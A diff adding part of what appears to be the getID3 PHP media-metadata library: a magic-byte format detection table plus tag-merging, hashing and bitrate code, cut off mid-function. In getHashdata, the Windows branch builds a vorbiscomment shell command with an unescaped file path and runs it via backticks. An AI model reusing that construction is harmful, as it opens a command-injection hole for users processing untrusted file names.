+							'mime_type' => 'audio/ac3',
+						),
+
+				// AAC  - audio       - Advanced Audio Coding (AAC) - ADIF format
+				'adif' => array(
+							'pattern'   => '^ADIF',
+							'group'     => 'audio',
+							'module'    => 'aac',
+							'mime_type' => 'application/octet-stream',
+							'fail_ape'  => 'WARNING',
+						),
+
+/*
+				// AA   - audio       - Audible Audiobook
+				'aa'   => array(
+							'pattern'   => '^.{4}\\x57\\x90\\x75\\x36',
+							'group'     => 'audio',
+							'module'    => 'aa',
+							'mime_type' => 'audio/audible',
+						),
+*/
+				// AAC  - audio       - Advanced Audio Coding (AAC) - ADTS format (very similar to MP3)
+				'adts' => array(
+							'pattern'   => '^\\xFF[\\xF0-\\xF1\\xF8-\\xF9]',
+							'group'     => 'audio',
+							'module'    => 'aac',
+							'mime_type' => 'application/octet-stream',
+							'fail_ape'  => 'WARNING',
+						),
+
+
+				// AU   - audio       - NeXT/Sun AUdio (AU)
+				'au'   => array(
+							'pattern'   => '^\\.snd',
+							'group'     => 'audio',
+							'module'    => 'au',
+							'mime_type' => 'audio/basic',
+						),
+
+				// AMR  - audio       - Adaptive Multi Rate
+				'amr'  => array(
+							'pattern'   => '^\\x23\\x21AMR\\x0A', // #!AMR[0A]
+							'group'     => 'audio',
+							'module'    => 'amr',
+							'mime_type' => 'audio/amr',
+						),
+
+				// AVR  - audio       - Audio Visual Research
+				'avr'  => array(
+							'pattern'   => '^2BIT',
+							'group'     => 'audio',
+							'module'    => 'avr',
+							'mime_type' => 'application/octet-stream',
+						),
+
+				// BONK - audio       - Bonk v0.9+
+				'bonk' => array(
+							'pattern'   => '^\\x00(BONK|INFO|META| ID3)',
+							'group'     => 'audio',
+							'module'    => 'bonk',
+							'mime_type' => 'audio/xmms-bonk',
+						),
+
+				// DSF  - audio       - Direct Stream Digital (DSD) Storage Facility files (DSF) - https://en.wikipedia.org/wiki/Direct_Stream_Digital
+				'dsf'  => array(
+							'pattern'   => '^DSD ',  // including trailing space: 44 53 44 20
+							'group'     => 'audio',
+							'module'    => 'dsf',
+							'mime_type' => 'audio/dsd',
+						),
+
+				// DSS  - audio       - Digital Speech Standard
+				'dss'  => array(
+							'pattern'   => '^[\\x02-\\x06]ds[s2]',
+							'group'     => 'audio',
+							'module'    => 'dss',
+							'mime_type' => 'application/octet-stream',
+						),
+
+				// DTS  - audio       - Dolby Theatre System
+				'dts'  => array(
+							'pattern'   => '^\\x7F\\xFE\\x80\\x01',
+							'group'     => 'audio',
+							'module'    => 'dts',
+							'mime_type' => 'audio/dts',
+						),
+
+				// FLAC - audio       - Free Lossless Audio Codec
+				'flac' => array(
+							'pattern'   => '^fLaC',
+							'group'     => 'audio',
+							'module'    => 'flac',
+							'mime_type' => 'audio/x-flac',
+						),
+
+				// LA   - audio       - Lossless Audio (LA)
+				'la'   => array(
+							'pattern'   => '^LA0[2-4]',
+							'group'     => 'audio',
+							'module'    => 'la',
+							'mime_type' => 'application/octet-stream',
+						),
+
+				// LPAC - audio       - Lossless Predictive Audio Compression (LPAC)
+				'lpac' => array(
+							'pattern'   => '^LPAC',
+							'group'     => 'audio',
+							'module'    => 'lpac',
+							'mime_type' => 'application/octet-stream',
+						),
+
+				// MIDI - audio       - MIDI (Musical Instrument Digital Interface)
+				'midi' => array(
+							'pattern'   => '^MThd',
+							'group'     => 'audio',
+							'module'    => 'midi',
+							'mime_type' => 'audio/midi',
+						),
+
+				// MAC  - audio       - Monkey's Audio Compressor
+				'mac'  => array(
+							'pattern'   => '^MAC ',
+							'group'     => 'audio',
+							'module'    => 'monkey',
+							'mime_type' => 'application/octet-stream',
+						),
+
+// has been known to produce false matches in random files (e.g. JPEGs), leave out until more precise matching available
+//				// MOD  - audio       - MODule (assorted sub-formats)
+//				'mod'  => array(
+//							'pattern'   => '^.{1080}(M\\.K\\.|M!K!|FLT4|FLT8|[5-9]CHN|[1-3][0-9]CH)',
+//							'group'     => 'audio',
+//							'module'    => 'mod',
+//							'option'    => 'mod',
+//							'mime_type' => 'audio/mod',
+//						),
+
+				// MOD  - audio       - MODule (Impulse Tracker)
+				'it'   => array(
+							'pattern'   => '^IMPM',
+							'group'     => 'audio',
+							'module'    => 'mod',
+							//'option'    => 'it',
+							'mime_type' => 'audio/it',
+						),
+
+				// MOD  - audio       - MODule (eXtended Module, various sub-formats)
+				'xm'   => array(
+							'pattern'   => '^Extended Module',
+							'group'     => 'audio',
+							'module'    => 'mod',
+							//'option'    => 'xm',
+							'mime_type' => 'audio/xm',
+						),
+
+				// MOD  - audio       - MODule (ScreamTracker)
+				's3m'  => array(
+							'pattern'   => '^.{44}SCRM',
+							'group'     => 'audio',
+							'module'    => 'mod',
+							//'option'    => 's3m',
+							'mime_type' => 'audio/s3m',
+						),
+
+				// MPC  - audio       - Musepack / MPEGplus
+				'mpc'  => array(
+							'pattern'   => '^(MPCK|MP\\+|[\\x00\\x01\\x10\\x11\\x40\\x41\\x50\\x51\\x80\\x81\\x90\\x91\\xC0\\xC1\\xD0\\xD1][\\x20-\\x37][\\x00\\x20\\x40\\x60\\x80\\xA0\\xC0\\xE0])',
+							'group'     => 'audio',
+							'module'    => 'mpc',
+							'mime_type' => 'audio/x-musepack',
+						),
+
+				// MP3  - audio       - MPEG-audio Layer 3 (very similar to AAC-ADTS)
+				'mp3'  => array(
+							'pattern'   => '^\\xFF[\\xE2-\\xE7\\xF2-\\xF7\\xFA-\\xFF][\\x00-\\x0B\\x10-\\x1B\\x20-\\x2B\\x30-\\x3B\\x40-\\x4B\\x50-\\x5B\\x60-\\x6B\\x70-\\x7B\\x80-\\x8B\\x90-\\x9B\\xA0-\\xAB\\xB0-\\xBB\\xC0-\\xCB\\xD0-\\xDB\\xE0-\\xEB\\xF0-\\xFB]',
+							'group'     => 'audio',
+							'module'    => 'mp3',
+							'mime_type' => 'audio/mpeg',
+						),
+
+				// OFR  - audio       - OptimFROG
+				'ofr'  => array(
+							'pattern'   => '^(\\*RIFF|OFR)',
+							'group'     => 'audio',
+							'module'    => 'optimfrog',
+							'mime_type' => 'application/octet-stream',
+						),
+
+				// RKAU - audio       - RKive AUdio compressor
+				'rkau' => array(
+							'pattern'   => '^RKA',
+							'group'     => 'audio',
+							'module'    => 'rkau',
+							'mime_type' => 'application/octet-stream',
+						),
+
+				// SHN  - audio       - Shorten
+				'shn'  => array(
+							'pattern'   => '^ajkg',
+							'group'     => 'audio',
+							'module'    => 'shorten',
+							'mime_type' => 'audio/xmms-shn',
+							'fail_id3'  => 'ERROR',
+							'fail_ape'  => 'ERROR',
+						),
+
+				// TTA  - audio       - TTA Lossless Audio Compressor (http://tta.corecodec.org)
+				'tta'  => array(
+							'pattern'   => '^TTA',  // could also be '^TTA(\\x01|\\x02|\\x03|2|1)'
+							'group'     => 'audio',
+							'module'    => 'tta',
+							'mime_type' => 'application/octet-stream',
+						),
+
+				// VOC  - audio       - Creative Voice (VOC)
+				'voc'  => array(
+							'pattern'   => '^Creative Voice File',
+							'group'     => 'audio',
+							'module'    => 'voc',
+							'mime_type' => 'audio/voc',
+						),
+
+				// VQF  - audio       - transform-domain weighted interleave Vector Quantization Format (VQF)
+				'vqf'  => array(
+							'pattern'   => '^TWIN',
+							'group'     => 'audio',
+							'module'    => 'vqf',
+							'mime_type' => 'application/octet-stream',
+						),
+
+				// WV  - audio        - WavPack (v4.0+)
+				'wv'   => array(
+							'pattern'   => '^wvpk',
+							'group'     => 'audio',
+							'module'    => 'wavpack',
+							'mime_type' => 'application/octet-stream',
+						),
+
+
+				// Audio-Video formats
+
+				// ASF  - audio/video - Advanced Streaming Format, Windows Media Video, Windows Media Audio
+				'asf'  => array(
+							'pattern'   => '^\\x30\\x26\\xB2\\x75\\x8E\\x66\\xCF\\x11\\xA6\\xD9\\x00\\xAA\\x00\\x62\\xCE\\x6C',
+							'group'     => 'audio-video',
+							'module'    => 'asf',
+							'mime_type' => 'video/x-ms-asf',
+							'iconv_req' => false,
+						),
+
+				// BINK - audio/video - Bink / Smacker
+				'bink' => array(
+							'pattern'   => '^(BIK|SMK)',
+							'group'     => 'audio-video',
+							'module'    => 'bink',
+							'mime_type' => 'application/octet-stream',
+						),
+
+				// FLV  - audio/video - FLash Video
+				'flv' => array(
+							'pattern'   => '^FLV[\\x01]',
+							'group'     => 'audio-video',
+							'module'    => 'flv',
+							'mime_type' => 'video/x-flv',
+						),
+
+				// MKAV - audio/video - Mastroka
+				'matroska' => array(
+							'pattern'   => '^\\x1A\\x45\\xDF\\xA3',
+							'group'     => 'audio-video',
+							'module'    => 'matroska',
+							'mime_type' => 'video/x-matroska', // may also be audio/x-matroska
+						),
+
+				// MPEG - audio/video - MPEG (Moving Pictures Experts Group)
+				'mpeg' => array(
+							'pattern'   => '^\\x00\\x00\\x01[\\xB3\\xBA]',
+							'group'     => 'audio-video',
+							'module'    => 'mpeg',
+							'mime_type' => 'video/mpeg',
+						),
+
+				// NSV  - audio/video - Nullsoft Streaming Video (NSV)
+				'nsv'  => array(
+							'pattern'   => '^NSV[sf]',
+							'group'     => 'audio-video',
+							'module'    => 'nsv',
+							'mime_type' => 'application/octet-stream',
+						),
+
+				// Ogg  - audio/video - Ogg (Ogg-Vorbis, Ogg-FLAC, Speex, Ogg-Theora(*), Ogg-Tarkin(*))
+				'ogg'  => array(
+							'pattern'   => '^OggS',
+							'group'     => 'audio',
+							'module'    => 'ogg',
+							'mime_type' => 'application/ogg',
+							'fail_id3'  => 'WARNING',
+							'fail_ape'  => 'WARNING',
+						),
+
+				// QT   - audio/video - Quicktime
+				'quicktime' => array(
+							'pattern'   => '^.{4}(cmov|free|ftyp|mdat|moov|pnot|skip|wide)',
+							'group'     => 'audio-video',
+							'module'    => 'quicktime',
+							'mime_type' => 'video/quicktime',
+						),
+
+				// RIFF - audio/video - Resource Interchange File Format (RIFF) / WAV / AVI / CD-audio / SDSS = renamed variant used by SmartSound QuickTracks (www.smartsound.com) / FORM = Audio Interchange File Format (AIFF)
+				'riff' => array(
+							'pattern'   => '^(RIFF|SDSS|FORM)',
+							'group'     => 'audio-video',
+							'module'    => 'riff',
+							'mime_type' => 'audio/x-wav',
+							'fail_ape'  => 'WARNING',
+						),
+
+				// Real - audio/video - RealAudio, RealVideo
+				'real' => array(
+							'pattern'   => '^\\.(RMF|ra)',
+							'group'     => 'audio-video',
+							'module'    => 'real',
+							'mime_type' => 'audio/x-realaudio',
+						),
+
+				// SWF - audio/video - ShockWave Flash
+				'swf' => array(
+							'pattern'   => '^(F|C)WS',
+							'group'     => 'audio-video',
+							'module'    => 'swf',
+							'mime_type' => 'application/x-shockwave-flash',
+						),
+
+				// TS - audio/video - MPEG-2 Transport Stream
+				'ts' => array(
+							'pattern'   => '^(\\x47.{187}){10,}', // packets are 188 bytes long and start with 0x47 "G".  Check for at least 10 packets matching this pattern
+							'group'     => 'audio-video',
+							'module'    => 'ts',
+							'mime_type' => 'video/MP2T',
+						),
+
+
+				// Still-Image formats
+
+				// BMP  - still image - Bitmap (Windows, OS/2; uncompressed, RLE8, RLE4)
+				'bmp'  => array(
+							'pattern'   => '^BM',
+							'group'     => 'graphic',
+							'module'    => 'bmp',
+							'mime_type' => 'image/bmp',
+							'fail_id3'  => 'ERROR',
+							'fail_ape'  => 'ERROR',
+						),
+
+				// GIF  - still image - Graphics Interchange Format
+				'gif'  => array(
+							'pattern'   => '^GIF',
+							'group'     => 'graphic',
+							'module'    => 'gif',
+							'mime_type' => 'image/gif',
+							'fail_id3'  => 'ERROR',
+							'fail_ape'  => 'ERROR',
+						),
+
+				// JPEG - still image - Joint Photographic Experts Group (JPEG)
+				'jpg'  => array(
+							'pattern'   => '^\\xFF\\xD8\\xFF',
+							'group'     => 'graphic',
+							'module'    => 'jpg',
+							'mime_type' => 'image/jpeg',
+							'fail_id3'  => 'ERROR',
+							'fail_ape'  => 'ERROR',
+						),
+
+				// PCD  - still image - Kodak Photo CD
+				'pcd'  => array(
+							'pattern'   => '^.{2048}PCD_IPI\\x00',
+							'group'     => 'graphic',
+							'module'    => 'pcd',
+							'mime_type' => 'image/x-photo-cd',
+							'fail_id3'  => 'ERROR',
+							'fail_ape'  => 'ERROR',
+						),
+
+
+				// PNG  - still image - Portable Network Graphics (PNG)
+				'png'  => array(
+							'pattern'   => '^\\x89\\x50\\x4E\\x47\\x0D\\x0A\\x1A\\x0A',
+							'group'     => 'graphic',
+							'module'    => 'png',
+							'mime_type' => 'image/png',
+							'fail_id3'  => 'ERROR',
+							'fail_ape'  => 'ERROR',
+						),
+
+
+				// SVG  - still image - Scalable Vector Graphics (SVG)
+				'svg'  => array(
+							'pattern'   => '(<!DOCTYPE svg PUBLIC |xmlns="http://www\\.w3\\.org/2000/svg")',
+							'group'     => 'graphic',
+							'module'    => 'svg',
+							'mime_type' => 'image/svg+xml',
+							'fail_id3'  => 'ERROR',
+							'fail_ape'  => 'ERROR',
+						),
+
+
+				// TIFF - still image - Tagged Information File Format (TIFF)
+				'tiff' => array(
+							'pattern'   => '^(II\\x2A\\x00|MM\\x00\\x2A)',
+							'group'     => 'graphic',
+							'module'    => 'tiff',
+							'mime_type' => 'image/tiff',
+							'fail_id3'  => 'ERROR',
+							'fail_ape'  => 'ERROR',
+						),
+
+
+				// EFAX - still image - eFax (TIFF derivative)
+				'efax'  => array(
+							'pattern'   => '^\\xDC\\xFE',
+							'group'     => 'graphic',
+							'module'    => 'efax',
+							'mime_type' => 'image/efax',
+							'fail_id3'  => 'ERROR',
+							'fail_ape'  => 'ERROR',
+						),
+
+
+				// Data formats
+
+				// ISO  - data        - International Standards Organization (ISO) CD-ROM Image
+				'iso'  => array(
+							'pattern'   => '^.{32769}CD001',
+							'group'     => 'misc',
+							'module'    => 'iso',
+							'mime_type' => 'application/octet-stream',
+							'fail_id3'  => 'ERROR',
+							'fail_ape'  => 'ERROR',
+							'iconv_req' => false,
+						),
+
+				// RAR  - data        - RAR compressed data
+				'rar'  => array(
+							'pattern'   => '^Rar\\!',
+							'group'     => 'archive',
+							'module'    => 'rar',
+							'mime_type' => 'application/octet-stream',
+							'fail_id3'  => 'ERROR',
+							'fail_ape'  => 'ERROR',
+						),
+
+				// SZIP - audio/data  - SZIP compressed data
+				'szip' => array(
+							'pattern'   => '^SZ\\x0A\\x04',
+							'group'     => 'archive',
+							'module'    => 'szip',
+							'mime_type' => 'application/octet-stream',
+							'fail_id3'  => 'ERROR',
+							'fail_ape'  => 'ERROR',
+						),
+
+				// TAR  - data        - TAR compressed data
+				'tar'  => array(
+							'pattern'   => '^.{100}[0-9\\x20]{7}\\x00[0-9\\x20]{7}\\x00[0-9\\x20]{7}\\x00[0-9\\x20\\x00]{12}[0-9\\x20\\x00]{12}',
+							'group'     => 'archive',
+							'module'    => 'tar',
+							'mime_type' => 'application/x-tar',
+							'fail_id3'  => 'ERROR',
+							'fail_ape'  => 'ERROR',
+						),
+
+				// GZIP  - data        - GZIP compressed data
+				'gz'  => array(
+							'pattern'   => '^\\x1F\\x8B\\x08',
+							'group'     => 'archive',
+							'module'    => 'gzip',
+							'mime_type' => 'application/x-gzip',
+							'fail_id3'  => 'ERROR',
+							'fail_ape'  => 'ERROR',
+						),
+
+				// ZIP  - data         - ZIP compressed data
+				'zip'  => array(
+							'pattern'   => '^PK\\x03\\x04',
+							'group'     => 'archive',
+							'module'    => 'zip',
+							'mime_type' => 'application/zip',
+							'fail_id3'  => 'ERROR',
+							'fail_ape'  => 'ERROR',
+						),
+
+
+				// Misc other formats
+
+				// PAR2 - data        - Parity Volume Set Specification 2.0
+				'par2' => array (
+							'pattern'   => '^PAR2\\x00PKT',
+							'group'     => 'misc',
+							'module'    => 'par2',
+							'mime_type' => 'application/octet-stream',
+							'fail_id3'  => 'ERROR',
+							'fail_ape'  => 'ERROR',
+						),
+
+				// PDF  - data        - Portable Document Format
+				'pdf'  => array(
+							'pattern'   => '^\\x25PDF',
+							'group'     => 'misc',
+							'module'    => 'pdf',
+							'mime_type' => 'application/pdf',
+							'fail_id3'  => 'ERROR',
+							'fail_ape'  => 'ERROR',
+						),
+
+				// MSOFFICE  - data   - ZIP compressed data
+				'msoffice' => array(
+							'pattern'   => '^\\xD0\\xCF\\x11\\xE0\\xA1\\xB1\\x1A\\xE1', // D0CF11E == DOCFILE == Microsoft Office Document
+							'group'     => 'misc',
+							'module'    => 'msoffice',
+							'mime_type' => 'application/octet-stream',
+							'fail_id3'  => 'ERROR',
+							'fail_ape'  => 'ERROR',
+						),
+
+				 // CUE  - data       - CUEsheet (index to single-file disc images)
+				 'cue' => array(
+							'pattern'   => '', // empty pattern means cannot be automatically detected, will fall through all other formats and match based on filename and very basic file contents
+							'group'     => 'misc',
+							'module'    => 'cue',
+							'mime_type' => 'application/octet-stream',
+						   ),
+
+			);
+		}
+
+		return $format_info;
+	}
+
+
+
+	public function GetFileFormat(&$filedata, $filename='') {
+		// this function will determine the format of a file based on usually
+		// the first 2-4 bytes of the file (8 bytes for PNG, 16 bytes for JPG,
+		// and in the case of ISO CD image, 6 bytes offset 32kb from the start
+		// of the file).
+
+		// Identify file format - loop through $format_info and detect with reg expr
+		foreach ($this->GetFileFormatArray() as $format_name => $info) {
+			// The /s switch on preg_match() forces preg_match() NOT to treat
+			// newline (0x0A) characters as special chars but do a binary match
+			if (!empty($info['pattern']) && preg_match('#'.$info['pattern'].'#s', $filedata)) {
+				$info['include'] = 'module.'.$info['group'].'.'.$info['module'].'.php';
+				return $info;
+			}
+		}
+
+
+		if (preg_match('#\\.mp[123a]$#i', $filename)) {
+			// Too many mp3 encoders on the market put gabage in front of mpeg files
+			// use assume format on these if format detection failed
+			$GetFileFormatArray = $this->GetFileFormatArray();
+			$info = $GetFileFormatArray['mp3'];
+			$info['include'] = 'module.'.$info['group'].'.'.$info['module'].'.php';
+			return $info;
+		} elseif (preg_match('#\\.cue$#i', $filename) && preg_match('#FILE "[^"]+" (BINARY|MOTOROLA|AIFF|WAVE|MP3)#', $filedata)) {
+			// there's not really a useful consistent "magic" at the beginning of .cue files to identify them
+			// so until I think of something better, just go by filename if all other format checks fail
+			// and verify there's at least one instance of "TRACK xx AUDIO" in the file
+			$GetFileFormatArray = $this->GetFileFormatArray();
+			$info = $GetFileFormatArray['cue'];
+			$info['include']   = 'module.'.$info['group'].'.'.$info['module'].'.php';
+			return $info;
+		}
+
+		return false;
+	}
+
+
+	// converts array to $encoding charset from $this->encoding
+	public function CharConvert(&$array, $encoding) {
+
+		// identical encoding - end here
+		if ($encoding == $this->encoding) {
+			return;
+		}
+
+		// loop thru array
+		foreach ($array as $key => $value) {
+
+			// go recursive
+			if (is_array($value)) {
+				$this->CharConvert($array[$key], $encoding);
+			}
+
+			// convert string
+			elseif (is_string($value)) {
+				$array[$key] = trim(getid3_lib::iconv_fallback($encoding, $this->encoding, $value));
+			}
+		}
+	}
+
+
+	public function HandleAllTags() {
+
+		// key name => array (tag name, character encoding)
+		static $tags;
+		if (empty($tags)) {
+			$tags = array(
+				'asf'       => array('asf'           , 'UTF-16LE'),
+				'midi'      => array('midi'          , 'ISO-8859-1'),
+				'nsv'       => array('nsv'           , 'ISO-8859-1'),
+				'ogg'       => array('vorbiscomment' , 'UTF-8'),
+				'png'       => array('png'           , 'UTF-8'),
+				'tiff'      => array('tiff'          , 'ISO-8859-1'),
+				'quicktime' => array('quicktime'     , 'UTF-8'),
+				'real'      => array('real'          , 'ISO-8859-1'),
+				'vqf'       => array('vqf'           , 'ISO-8859-1'),
+				'zip'       => array('zip'           , 'ISO-8859-1'),
+				'riff'      => array('riff'          , 'ISO-8859-1'),
+				'lyrics3'   => array('lyrics3'       , 'ISO-8859-1'),
+				'id3v1'     => array('id3v1'         , $this->encoding_id3v1),
+				'id3v2'     => array('id3v2'         , 'UTF-8'), // not according to the specs (every frame can have a different encoding), but getID3() force-converts all encodings to UTF-8
+				'ape'       => array('ape'           , 'UTF-8'),
+				'cue'       => array('cue'           , 'ISO-8859-1'),
+				'matroska'  => array('matroska'      , 'UTF-8'),
+				'flac'      => array('vorbiscomment' , 'UTF-8'),
+				'divxtag'   => array('divx'          , 'ISO-8859-1'),
+				'iptc'      => array('iptc'          , 'ISO-8859-1'),
+			);
+		}
+
+		// loop through comments array
+		foreach ($tags as $comment_name => $tagname_encoding_array) {
+			list($tag_name, $encoding) = $tagname_encoding_array;
+
+			// fill in default encoding type if not already present
+			if (isset($this->info[$comment_name]) && !isset($this->info[$comment_name]['encoding'])) {
+				$this->info[$comment_name]['encoding'] = $encoding;
+			}
+
+			// copy comments if key name set
+			if (!empty($this->info[$comment_name]['comments'])) {
+				foreach ($this->info[$comment_name]['comments'] as $tag_key => $valuearray) {
+					foreach ($valuearray as $key => $value) {
+						if (is_string($value)) {
+							$value = trim($value, " \r\n\t"); // do not trim nulls from $value!! Unicode characters will get mangled if trailing nulls are removed!
+						}
+						if ($value) {
+							if (!is_numeric($key)) {
+								$this->info['tags'][trim($tag_name)][trim($tag_key)][$key] = $value;
+							} else {
+								$this->info['tags'][trim($tag_name)][trim($tag_key)][]     = $value;
+							}
+						}
+					}
+					if ($tag_key == 'picture') {
+						unset($this->info[$comment_name]['comments'][$tag_key]);
+					}
+				}
+
+				if (!isset($this->info['tags'][$tag_name])) {
+					// comments are set but contain nothing but empty strings, so skip
+					continue;
+				}
+
+				$this->CharConvert($this->info['tags'][$tag_name], $this->info[$comment_name]['encoding']);           // only copy gets converted!
+
+				if ($this->option_tags_html) {
+					foreach ($this->info['tags'][$tag_name] as $tag_key => $valuearray) {
+						$this->info['tags_html'][$tag_name][$tag_key] = getid3_lib::recursiveMultiByteCharString2HTML($valuearray, $this->info[$comment_name]['encoding']);
+					}
+				}
+
+			}
+
+		}
+
+		// pictures can take up a lot of space, and we don't need multiple copies of them
+		// let there be a single copy in [comments][picture], and not elsewhere
+		if (!empty($this->info['tags'])) {
+			$unset_keys = array('tags', 'tags_html');
+			foreach ($this->info['tags'] as $tagtype => $tagarray) {
+				foreach ($tagarray as $tagname => $tagdata) {
+					if ($tagname == 'picture') {
+						foreach ($tagdata as $key => $tagarray) {
+							$this->info['comments']['picture'][] = $tagarray;
+							if (isset($tagarray['data']) && isset($tagarray['image_mime'])) {
+								if (isset($this->info['tags'][$tagtype][$tagname][$key])) {
+									unset($this->info['tags'][$tagtype][$tagname][$key]);
+								}
+								if (isset($this->info['tags_html'][$tagtype][$tagname][$key])) {
+									unset($this->info['tags_html'][$tagtype][$tagname][$key]);
+								}
+							}
+						}
+					}
+				}
+				foreach ($unset_keys as $unset_key) {
+					// remove possible empty keys from (e.g. [tags][id3v2][picture])
+					if (empty($this->info[$unset_key][$tagtype]['picture'])) {
+						unset($this->info[$unset_key][$tagtype]['picture']);
+					}
+					if (empty($this->info[$unset_key][$tagtype])) {
+						unset($this->info[$unset_key][$tagtype]);
+					}
+					if (empty($this->info[$unset_key])) {
+						unset($this->info[$unset_key]);
+					}
+				}
+				// remove duplicate copy of picture data from (e.g. [id3v2][comments][picture])
+				if (isset($this->info[$tagtype]['comments']['picture'])) {
+					unset($this->info[$tagtype]['comments']['picture']);
+				}
+				if (empty($this->info[$tagtype]['comments'])) {
+					unset($this->info[$tagtype]['comments']);
+				}
+				if (empty($this->info[$tagtype])) {
+					unset($this->info[$tagtype]);
+				}
+			}
+		}
+		return true;
+	}
+
+	public function getHashdata($algorithm) {
+		switch ($algorithm) {
+			case 'md5':
+			case 'sha1':
+				break;
+
+			default:
+				return $this->error('bad algorithm "'.$algorithm.'" in getHashdata()');
+				break;
+		}
+
+		if (!empty($this->info['fileformat']) && !empty($this->info['dataformat']) && ($this->info['fileformat'] == 'ogg') && ($this->info['audio']['dataformat'] == 'vorbis')) {
+
+			// We cannot get an identical md5_data value for Ogg files where the comments
+			// span more than 1 Ogg page (compared to the same audio data with smaller
+			// comments) using the normal getID3() method of MD5'ing the data between the
+			// end of the comments and the end of the file (minus any trailing tags),
+			// because the page sequence numbers of the pages that the audio data is on
+			// do not match. Under normal circumstances, where comments are smaller than
+			// the nominal 4-8kB page size, then this is not a problem, but if there are
+			// very large comments, the only way around it is to strip off the comment
+			// tags with vorbiscomment and MD5 that file.
+			// This procedure must be applied to ALL Ogg files, not just the ones with
+			// comments larger than 1 page, because the below method simply MD5's the
+			// whole file with the comments stripped, not just the portion after the
+			// comments block (which is the standard getID3() method.
+
+			// The above-mentioned problem of comments spanning multiple pages and changing
+			// page sequence numbers likely happens for OggSpeex and OggFLAC as well, but
+			// currently vorbiscomment only works on OggVorbis files.
+
+			if (preg_match('#(1|ON)#i', ini_get('safe_mode'))) {
+
+				$this->warning('Failed making system call to vorbiscomment.exe - '.$algorithm.'_data is incorrect - error returned: PHP running in Safe Mode (backtick operator not available)');
+				$this->info[$algorithm.'_data'] = false;
+
+			} else {
+
+				// Prevent user from aborting script
+				$old_abort = ignore_user_abort(true);
+
+				// Create empty file
+				$empty = tempnam(GETID3_TEMP_DIR, 'getID3');
+				touch($empty);
+
+				// Use vorbiscomment to make temp file without comments
+				$temp = tempnam(GETID3_TEMP_DIR, 'getID3');
+				$file = $this->info['filenamepath'];
+
+				if (GETID3_OS_ISWINDOWS) {
+
+					if (file_exists(GETID3_HELPERAPPSDIR.'vorbiscomment.exe')) {
+
+						$commandline = '"'.GETID3_HELPERAPPSDIR.'vorbiscomment.exe" -w -c "'.$empty.'" "'.$file.'" "'.$temp.'"';
+						$VorbisCommentError = `$commandline`;
+
+					} else {
+
+						$VorbisCommentError = 'vorbiscomment.exe not found in '.GETID3_HELPERAPPSDIR;
+
+					}
+
+				} else {
+
+					$commandline = 'vorbiscomment -w -c "'.$empty.'" "'.$file.'" "'.$temp.'" 2>&1';
+					$commandline = 'vorbiscomment -w -c '.escapeshellarg($empty).' '.escapeshellarg($file).' '.escapeshellarg($temp).' 2>&1';
+					$VorbisCommentError = `$commandline`;
+
+				}
+
+				if (!empty($VorbisCommentError)) {
+
+					$this->warning('Failed making system call to vorbiscomment(.exe) - '.$algorithm.'_data will be incorrect. If vorbiscomment is unavailable, please download from http://www.vorbis.com/download.psp and put in the getID3() directory. Error returned: '.$VorbisCommentError);
+					$this->info[$algorithm.'_data'] = false;
+
+				} else {
+
+					// Get hash of newly created file
+					switch ($algorithm) {
+						case 'md5':
+							$this->info[$algorithm.'_data'] = md5_file($temp);
+							break;
+
+						case 'sha1':
+							$this->info[$algorithm.'_data'] = sha1_file($temp);
+							break;
+					}
+				}
+
+				// Clean up
+				unlink($empty);
+				unlink($temp);
+
+				// Reset abort setting
+				ignore_user_abort($old_abort);
+
+			}
+
+		} else {
+
+			if (!empty($this->info['avdataoffset']) || (isset($this->info['avdataend']) && ($this->info['avdataend'] < $this->info['filesize']))) {
+
+				// get hash from part of file
+				$this->info[$algorithm.'_data'] = getid3_lib::hash_data($this->info['filenamepath'], $this->info['avdataoffset'], $this->info['avdataend'], $algorithm);
+
+			} else {
+
+				// get hash from whole file
+				switch ($algorithm) {
+					case 'md5':
+						$this->info[$algorithm.'_data'] = md5_file($this->info['filenamepath']);
+						break;
+
+					case 'sha1':
+						$this->info[$algorithm.'_data'] = sha1_file($this->info['filenamepath']);
+						break;
+				}
+			}
+
+		}
+		return true;
+	}
+
+
+	public function ChannelsBitratePlaytimeCalculations() {
+
+		// set channelmode on audio
+		if (!empty($this->info['audio']['channelmode']) || !isset($this->info['audio']['channels'])) {
+			// ignore
+		} elseif ($this->info['audio']['channels'] == 1) {
+			$this->info['audio']['channelmode'] = 'mono';
+		} elseif ($this->info['audio']['channels'] == 2) {
+			$this->info['audio']['channelmode'] = 'stereo';
+		}
+
+		// Calculate combined bitrate - audio + video
+		$CombinedBitrate  = 0;
+		$CombinedBitrate += (isset($this->info['audio']['bitrate']) ? $this->info['audio']['bitrate'] : 0);
+		$CombinedBitrate += (isset($this->info['video']['bitrate']) ? $this->info['video']['bitrate'] : 0);
+		if (($CombinedBitrate > 0) && empty($this->info['bitrate'])) {
+			$this->info['bitrate'] = $CombinedBitrate;
+		}
+		//if ((isset($this->info['video']) && !isset($this->info['video']['bitrate'])) || (isset($this->info['audio']) && !isset($this->info['audio']['bitrate']))) {
+		//	// for example, VBR MPEG video files cannot determine video bitrate:
+		//	// should not set overall bitrate and playtime from audio bitrate only
+		//	unset($this->info['bitrate']);
+		//}
+
+		// video bitrate undetermined, but calculable
+		if (isset($this->info['video']['dataformat']) && $this->info['video']['dataformat'] && (!isset($this->info['video']['bitrate']) || ($this->info['video']['bitrate'] == 0))) {
+			// if video bitrate not set
+			if (isset($this->info['audio']['bitrate']) && ($this->info['audio']['bitrate'] > 0) && ($this->info['audio']['bitrate'] == $this->info['bitrate'])) {
+				// AND if audio bitrate is set to same as overall bitrate
+				if (isset($this->info['playtime_seconds']) && ($this->info['playtime_seconds'] > 0)) {
+					// AND if playtime is set
+					if (isset($this->info['avdataend']) && isset($this->info['avdataoffset'])) {
+						// AND if AV data offset start/end is known
+						// THEN we can calculate the video bitrate
+						$this->info['bitrate'] = round((($this->info['avdataend'] - $this->info['avdataoffset']) * 8) / $this->info['playtime_seconds']);
+						$this->info['video']['bitrate'] = $this->info['bitrate'] - $this->info['audio']['bitrate'];
+					}
+				}
+			}
+		}
+
+		if ((!isset($this->info['playtime_seconds']) || ($this->info['playtime_seconds'] <= 0)) && !empty($this->info['bitrate'])) {
+			$this->info['playtime_seconds'] = (($this->info['avdataend'] - $this->info['avdataoffset']) * 8) / $this->info['bitrate'];
+		}
+
+		if (!isset($this->info['bitrate']) && !empty($this->info['playtime_seconds'])) {
+			$this->info['bitrate'] = (($this->info['avdataend'] - $this->info['avdataoffset']) * 8) / $this->info['playtime_seconds'];
+		}
+		if (isset($this->info['bitrate']) && empty($this->info['audio']['bitrate']) && empty($this->info['video']['bitrate'])) {
